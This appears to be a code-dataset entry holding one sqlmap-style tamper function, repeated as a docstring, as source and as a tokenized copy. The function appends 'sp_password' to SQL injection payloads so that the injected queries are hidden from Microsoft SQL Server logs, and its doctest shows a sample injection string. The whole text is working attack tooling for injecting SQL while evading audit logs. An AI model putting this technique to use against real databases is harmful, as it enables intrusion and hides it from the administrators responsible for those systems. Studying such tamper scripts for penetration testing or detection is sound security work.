(payload, **kwargs)
return retVal
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

    Requirement:
        * MSSQL

    Notes:
        * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
        * Reference: http://websec.ca/kb/sql_injection

    >>> tamper('1 AND 9227=9227-- ')
    '1 AND 9227=9227-- sp_password'
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
Appends sp_password to the end of the payload for automatic obfuscation from DBMS logs
def tamper(payload, **kwargs):
    """
    Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

    Requirement:
        * MSSQL

    Notes:
        * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
        * Reference: http://websec.ca/kb/sql_injection

    >>> tamper('1 AND 9227=9227-- ')
    '1 AND 9227=9227-- sp_password'
    """

    retVal = ""

    if payload:
        retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")

    return retVal
def tamper ( payload , * * kwargs ) : retVal = "" if payload : retVal = "%s%ssp_password" % ( payload , "-- " if not any ( _ if _ in payload else None for _ in ( '#' , "-- " ) ) else "" ) return retVal